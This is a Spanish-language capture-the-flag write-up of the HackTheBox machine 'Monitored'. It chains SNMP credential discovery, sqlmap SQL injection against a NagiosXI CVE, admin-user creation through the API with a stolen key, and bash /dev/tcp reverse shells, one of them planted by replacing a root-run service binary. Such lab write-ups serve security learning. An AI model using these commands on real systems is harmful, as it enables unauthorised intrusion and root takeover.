🌐
My Pentest Book
  • πŸ’‘I changed my website
  • πŸ“„WriteUps
    • πŸ΄β€β˜ οΈHTB - HackTheBox
      • ⬛HTB - Advanced Labs
        • Endgames
          • P.O.O.
      • 🟨HTB - Runner
      • 🟩HTB - Usage
      • 🟩HTP - Active (Incomplete)
      • 🟨HTB - Scrambled
      • πŸŸ₯HTB - FormulaX (Incomplete)
      • πŸŸ₯HTB - Office
      • 🟩HTB - Perfection
      • 🟨HTB - WifineticTwo
      • 🟨HTB - Jab (Incomplete)
      • 🟩HTB - Buff
      • 🟨HTB - Hospital
      • 🟩HTB - Crafty
      • 🟩HTB - Bizness
      • 🟩HTB - Devvortex
      • 🟩HTB - CozyHosting
      • 🟩HTB - Analytics
      • 🟩HTB - Codify
      • 🟨HTB - Surveillance
      • 🟨HTB - Monitored
Con tecnologΓ­a de GitBook
En esta pΓ‘gina
  • InformaciΓ³n General
  • Enumeration
  • Descubrimiento de directorios
  • Obteniendo auth_token a travΓ©s del endpoint /authenticate/
  • CVE-2023-40931 - Vulnerabilidad en NagiosXI
  • Intentamos explotar usando sqlmap
  • CreaciΓ³n de usuario mediante api_key robada
  • EjecuciΓ³n de Reverse Shell en NagiosXI
  • Subimos y utilizamos LinEnum

ΒΏTe fue ΓΊtil?

Editar en GitHub
  1. WriteUps
  2. HTB - HackTheBox

HTB - Monitored

https://app.hackthebox.com/machines/Monitored

AnteriorHTB - Surveillance

ΒΏTe fue ΓΊtil?

InformaciΓ³n General

  • Nombre de la MΓ‘quina: Monitored

  • IP de la MΓ‘quina: 10.10.11.248

  • Sistema Operativo: Linux

  • Dificultad: Medium

  • Fecha de PublicaciΓ³n: 13 Jan 2024


Enumeration

Establecer el objetivo

Primero, establecemos el objetivo utilizando el comando settarget con la direcciΓ³n IP de la mΓ‘quina objetivo:

settarget 10.10.11.248 Monitored

Ping de reconocimiento

Realizamos un ping a la mΓ‘quina objetivo para verificar la conectividad y obtener informaciΓ³n sobre la ruta utilizando la opciΓ³n -R para incluir la ruta de retorno:

ping -c 1 10.10.11.248 -R

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la mΓ‘quina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mΓ­nima de paquetes y -vvv para un nivel de verbosidad alto. AdemΓ‘s, utilizamos -n para desactivar la resoluciΓ³n de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable:

sudo nmap -p- --open -sS --min-rate 5000 -vvv  -n -Pn 10.10.11.248 -oG allPorts

Posteriormente, realizamos un escaneo mΓ‘s detallado de los puertos identificados utilizando la opciΓ³n -sCV para detecciΓ³n de versiones y scripts de enumeraciΓ³n de servicios. EspecΓ­ficamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -p22,80,389,443,5667 10.10.11.248 -oN targeted

Para aΓ±adir la entrada "10.10.11.248 nagios.monitored.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.10.11.248 nagios.monitored.htb" | sudo tee -a /etc/hosts

Este comando aΓ±ade la direcciΓ³n IP 10.10.11.245 asociada al nombre de host nagios.monitored.htb al archivo /etc/hosts de tu sistema.

Utilizando WhatWeb para Obtener InformaciΓ³n sobre el Objetivo

Para obtener mΓ‘s informaciΓ³n sobre nuestro objetivo, utilizamos la herramienta WhatWeb. Esta herramienta nos permite identificar tecnologΓ­as web utilizadas en el servidor, como el sistema de gestiΓ³n de contenidos (CMS), el lenguaje de programaciΓ³n, los plugins y otras caracterΓ­sticas. Ejecutamos el siguiente comando:

whatweb http://nagios.monitored.htb > whatweb && cat whatweb -l java

SNMP Enumeration con SNMPWalk

En la fase de enumeraciΓ³n de SNMP (Simple Network Management Protocol) utilizando SNMPWalk, se realiza un escaneo de la red en busca de informaciΓ³n sobre dispositivos y sistemas. En este caso, se ejecutΓ³ el comando snmpwalk -v2c -c public 10.10.11.248 para buscar informaciΓ³n sobre el sistema remoto. Luego, se utilizΓ³ el comando snmpwalk -v2c -c public 10.10.11.248 1.3.6.1.2.1.25.4.2.1.5 para obtener informaciΓ³n especΓ­fica sobre los procesos en ejecuciΓ³n en el sistema.

La herramienta utilizada, SNMPWalk, recopila informaciΓ³n utilizando el protocolo SNMP, que es comΓΊnmente utilizado para gestionar dispositivos de red. En este caso, se identificaron las credenciales svc y XjH7VCehowpR1xZB relacionadas con algΓΊn servicio o proceso en el sistema remoto. Estas credenciales podrΓ­an ser ΓΊtiles para posteriores fases de penetraciΓ³n en el sistema.

snmpwalk -v2c -c public 10.10.11.248
snmpwalk -v2c -c public 10.10.11.248 1.3.6.1.2.1.25.4.2.1.5
svc:XjH7VCehowpR1xZB

Descubrimiento de directorios

En la fase de descubrimiento de directorios, se utilizan herramientas como WFuzz y Dirsearch para identificar posibles puntos de entrada o recursos ocultos en el sitio web objetivo. En este caso, se ejecutΓ³ un fuzzing con WFuzz en el directorio /nagiosxi/ para obtener mΓ‘s informaciΓ³n sobre el objetivo.

El comando utilizado fue :

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"

Donde se especificΓ³ el archivo de lista de palabras /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt para realizar el fuzzing en la URL proporcionada $URL. Este comando busca archivos y directorios comunes en el sitio web objetivo y muestra las respuestas que no sean cΓ³digo de estado 404 (not found).

Posteriormente, se utilizΓ³ Dirsearch con el comando:

dirsearch -u https://nagios.monitored.htb/nagiosxi -e php,js,html,txt,bak,zip

Para identificar directorios y archivos que puedan contener informaciΓ³n ΓΊtil. En este caso, se encontraron los directorios /api/ y /api/v1/, los cuales podrΓ­an ser puntos de entrada adicionales para investigar mΓ‘s a fondo.

En la fase de bΓΊsqueda de directorios dentro de /v1/, se utilizΓ³ Dirsearch con el comando

dirsearch -u https://nagios.monitored.htb/nagiosxi/api/v1/ -w /endpoints.txt

para identificar posibles puntos de entrada adicionales. En este caso, se encontrΓ³ el directorio /authenticate/ dentro de /v1/, el cual puede ser un endpoint de autenticaciΓ³n de la API.

Este hallazgo podrΓ­a ser crucial para avanzar en la penetraciΓ³n del sistema, ya que el endpoint /authenticate/ podrΓ­a permitir la autenticaciΓ³n en la API y el acceso a funciones adicionales. Es importante analizar este endpoint con mΓ‘s detalle para determinar cΓ³mo se puede utilizar de manera segura y efectiva en el contexto del pentesting.

Obteniendo auth_token a travΓ©s del endpoint /authenticate/

Se utilizΓ³ la siguiente solicitud Curl para enviar las credenciales de autenticaciΓ³n al endpoint:

curl -X POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -k -L -d 'username=svc&password=XjH7VCehowpR1xZB'
  • -X POST: Especifica que se realizarΓ‘ una solicitud POST.

  • -k: Permite realizar la solicitud a un servidor con un certificado SSL no vΓ‘lido.

  • -L: Sigue las redirecciones si la respuesta es un cΓ³digo de estado 3xx.

  • -d 'username=svc&password=XjH7VCehowpR1xZB': EnvΓ­a los parΓ‘metros de usuario y contraseΓ±a en el cuerpo de la solicitud.

Gracias a las credenciales podemos obtener nuestro token que serΓ‘ crucial mΓ‘s adelante.

CVE-2023-40931 - Vulnerabilidad en NagiosXI

Al realizar una bΓΊsqueda en Internet, encontrΓ© informaciΓ³n sobre una vulnerabilidad conocida como CVE-2023-40931 que afecta a NagiosXI. Esta vulnerabilidad se puede explotar enviando una solicitud POST a /nagiosxi/admin/banner_message-ajaxhelper.php con los parΓ‘metros action=acknowledge_banner_message&id=3&token=*******.

Intentamos explotar usando sqlmap

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=edb86549b9efd8635a672ed52daa56a26e00118" -p id

Demostrando ser vulnerable por lo que procedemos a investigar...

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=" -p id -level=5 -risk=3 -D nagiosxi -tables
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=" -p id -level=5 -risk=3 -D nagiosxi -T xi_users -dump

CreaciΓ³n de usuario mediante api_key robada

Se consultΓ³ la documentaciΓ³n oficial de NagiosXI para aprender a crear un usuario a travΓ©s de la API utilizando la api_key. Se encontrΓ³ un ejemplo en un post del foro de soporte de Nagios que mostraba cΓ³mo hacerlo.

Se utilizΓ³ la herramienta Curl para enviar una solicitud POST al endpoint api/v1/system/user con los parΓ‘metros necesarios para crear un nuevo usuario. Se incluyeron los parΓ‘metros username, password, name, email, y auth_level=admin para crear un usuario con privilegios de administrador.

curl -X POST -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=endglory&password=endglory&name=endglory&email=endglory@monitored.htb&auth_level=admin"

EjecuciΓ³n de Reverse Shell en NagiosXI

Mientras exploraba el panel de NagiosXI, descubrΓ­ una pΓ‘gina interesante en la ruta https://nagios.monitored.htb/nagiosxi/includes/components/ccm/xi-index.php, donde es posible agregar un comando personalizado. Aprovechando esta funcionalidad, decidΓ­ intentar colar un reverse shell en el sistema.

Agregar un Comando Personalizado

AccedΓ­ a la pΓ‘gina mencionada y colΓ© mi reverse shell en el campo de comando. UtilicΓ© el siguiente comando para establecer una conexiΓ³n de reverse shell con mi mΓ‘quina:

bash -i >& /dev/tcp/10.10.15.2/6666 0>&1

Crear un Servicio para Ejecutar el Comando

DespuΓ©s de agregar el comando, me dirigΓ­ a la secciΓ³n de servicios en NagiosXI y creΓ© un nuevo servicio. En la configuraciΓ³n del servicio, establecΓ­ que se ejecute el comando personalizado que acababa de agregar.

Escuchando la conexiΓ³n de Reverse Shell

Recuerda que puedes mejorar el UX de la shell con los siguientes tips:

Subimos y utilizamos LinEnum

Descargo desde mi mΓ‘quina (a travΓ©s de un servidor Python) LinEnum.sh y le doy permisos de ejecuciΓ³n (chmod +x).

Al utilizar LinEnum, descubrimos que algunos archivos en la carpeta /usr/local/nagiosxi/scripts/ se ejecutan con permisos de root sin contraseΓ±a. Investigando mΓ‘s a fondo, encontramos que el archivo manage_services.sh tiene un CVE que nos permite escalar privilegios.

El archivo manage_services.sh se utiliza para iniciar, detener y ver el estado de los servicios que se ejecutan en el sistema. Aparentemente, se ejecuta con privilegios de root y no solicita contraseΓ±a, lo que nos permite ejecutar comandos con privilegios elevados.

Detener el Servicio NPCD: Utilizaremos manage_services.sh para detener el servicio NPCD, que es uno de los servicios que se ejecutan con permisos de root.

Eliminar el Ejecutable NPCD: Eliminaremos el ejecutable del servicio NPCD y crearemos un nuevo archivo con un reverse shell que nos permitirΓ‘ obtener una shell interactiva en nuestra mΓ‘quina.

Reiniciar el Servicio NPCD: Utilizaremos manage_services.sh para reiniciar el servicio NPCD, lo que ejecutarΓ‘ nuestro reverse shell como root.

rm /usr/local/nagios/bin/npcd
touch /usr/local/nagios/bin/npcd
chmod +x /usr/local/nagios/bin/npcd
echo '#!/bin/bash' > /usr/local/nagios/bin/npcd
echo "bash -c 'bash -i >& /dev/tcp/10.10.15.2/7777 0>&1'" >> /usr/local/nagios/bin/npcd
sudo /usr/local/nagiosxi/scripts/manage_services.sh restart npcd

Al ejecutar estos comandos, detendremos el servicio NPCD, crearemos un nuevo archivo NPCD con un reverse shell y reiniciaremos el servicio NPCD, lo que ejecutarΓ‘ nuestro reverse shell como root, dΓ‘ndonos acceso completo al sistema.

Para mΓ‘s detalles sobre el funcionamiento de SNMP y cΓ³mo realizar una enumeraciΓ³n efectiva, se puede consultar la guΓ­a proporcionada en el enlace , asΓ­ como la referencia de los Object Identifiers (OIDs) utilizados en .

Utilizamos este wordlist especial para API endpoints:

Finalmente, iniciΓ© Netcat en mi mΓ‘quina local para escuchar la conexiΓ³n de reverse shell en el puerto especificado. Una vez que el servicio se ejecutΓ³ en el sistema remoto, logrΓ© obtener acceso a la mΓ‘quina a travΓ©s de la conexiΓ³n de reverse shell y obteniendo la primera flag user.txt

πŸ“„
πŸ΄β€β˜ οΈ
🟨
πŸ‘
https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp
https://oidref.com/1.3.6.1.2.1.25.4.2.1.5
https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d
https://medium.com/@n1ghtcr4wl3r/nagios-xi-vulnerability-cve-2023-40931-sql-injection-in-banner-ace8258c5567
https://blog.grimm-co.com/2021/11/escalating-xss-to-sainthood-with-nagios.html